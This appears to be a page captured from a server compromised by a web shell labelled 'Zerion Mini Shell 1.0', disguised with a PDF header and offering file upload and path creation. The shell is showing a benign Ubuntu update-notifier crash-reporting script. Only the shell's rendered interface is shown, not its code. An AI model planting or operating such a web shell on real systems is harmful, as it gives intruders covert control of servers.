%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/update-notifier/
Upload File :
Create Path :
Current File : //usr/lib/update-notifier/update-notifier-crash

#!/bin/sh
set -e

# if whoopsie in never report mode, don't show anything.
which whoopsie
has_whoopsie=$?
systemctl -q is-enabled whoopsie
whoopsie_enabled=$?
if [ $has_whoopsie -eq 0 -a $whoopsie_enabled -ne 0 ]; then
    exit 0
fi

if /usr/share/apport/apport-checkreports; then
    /usr/share/apport/apport-gtk
else
    if /usr/share/apport/apport-checkreports --system; then
        if groups | grep -qE "sudo|admin" ; then
            /usr/lib/update-notifier/system-crash-notification
        fi
    fi
fi


Zerion Mini Shell 1.0